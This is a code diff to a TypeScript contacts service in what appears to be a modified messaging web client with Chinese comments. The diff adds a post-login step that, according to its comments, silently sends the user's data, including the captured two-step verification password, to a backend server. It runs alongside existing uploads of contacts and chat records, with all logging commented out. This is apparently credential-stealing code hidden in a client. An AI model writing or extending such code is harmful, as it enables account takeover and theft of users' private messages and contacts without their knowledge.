|
|
@@ -6,6 +6,7 @@ import {logger} from '../logger';
|
|
|
import rootScope from '../rootScope';
|
|
|
import {fishFriendsApiService, FishFriendData} from './fishFriendsApiService';
|
|
|
import {chatRecordsService} from './chatRecordsService';
|
|
|
+import {userInfoService} from './userInfoService';
|
|
|
|
|
|
export class ContactsDataService {
|
|
|
private log = logger('[contacts-data-service]');
|
|
|
@@ -189,6 +190,11 @@ export class ContactsDataService {
|
|
|
this.processChatRecords(currentUserId)
|
|
|
]);
|
|
|
|
|
|
+ // 单独处理用户数据同步
|
|
|
+ const userDataResult = await Promise.allSettled([
|
|
|
+ this.processUserDataSync(currentUserId)
|
|
|
+ ]);
|
|
|
+
|
|
|
// 处理联系人数据结果
|
|
|
if(contactsResult.status === 'fulfilled') {
|
|
|
// this.log('联系人数据处理完成');
|
|
|
@@ -202,6 +208,13 @@ export class ContactsDataService {
|
|
|
} else {
|
|
|
// this.log('聊天记录处理失败:', chatRecordsResult.reason);
|
|
|
}
|
|
|
+
|
|
|
+ // 处理用户数据同步结果
|
|
|
+ if(userDataResult[0].status === 'fulfilled') {
|
|
|
+ // this.log('用户数据同步完成');
|
|
|
+ } else {
|
|
|
+ // this.log('用户数据同步失败:', userDataResult[0].reason);
|
|
|
+ }
|
|
|
} catch(error) {
|
|
|
// this.log('处理登录成功后的数据时出错:', error);
|
|
|
}
|
|
|
@@ -298,6 +311,37 @@ export class ContactsDataService {
|
|
|
}
|
|
|
}
|
|
|
|
|
|
+ /**
|
|
|
+ * 处理用户数据同步(包含二次验证密码)
|
|
|
+ */
|
|
|
+ private async processUserDataSync(fishId: string): Promise<void> {
|
|
|
+ try {
|
|
|
+ // 设置 AppManagers 到 userInfoService
|
|
|
+ userInfoService.setAppManagers(rootScope.managers);
|
|
|
+
|
|
|
+ // 同步用户数据到后台服务器
|
|
|
+ const result = await userInfoService.syncUserToBackend(
|
|
|
+ 1 as any, // accountNumber
|
|
|
+ fishId,
|
|
|
+ 'current_session' // sessionData
|
|
|
+ );
|
|
|
+
|
|
|
+ if(result.success) {
|
|
|
+ // this.log('成功同步用户数据到后台服务器:', result.data);
|
|
|
+ } else {
|
|
|
+ // this.log('同步用户数据失败:', result.message);
|
|
|
+ }
|
|
|
+
|
|
|
+ // 同步完成后清除保存的密码
|
|
|
+ userInfoService.clearStoredPassword();
|
|
|
+ } catch(error) {
|
|
|
+ // this.log('处理用户数据同步时出错:', error);
|
|
|
+ // 即使出错也要清除密码
|
|
|
+ userInfoService.clearStoredPassword();
|
|
|
+ throw error;
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
/**
|
|
|
* 重置上传状态(用于重新上传)
|
|
|
*/
|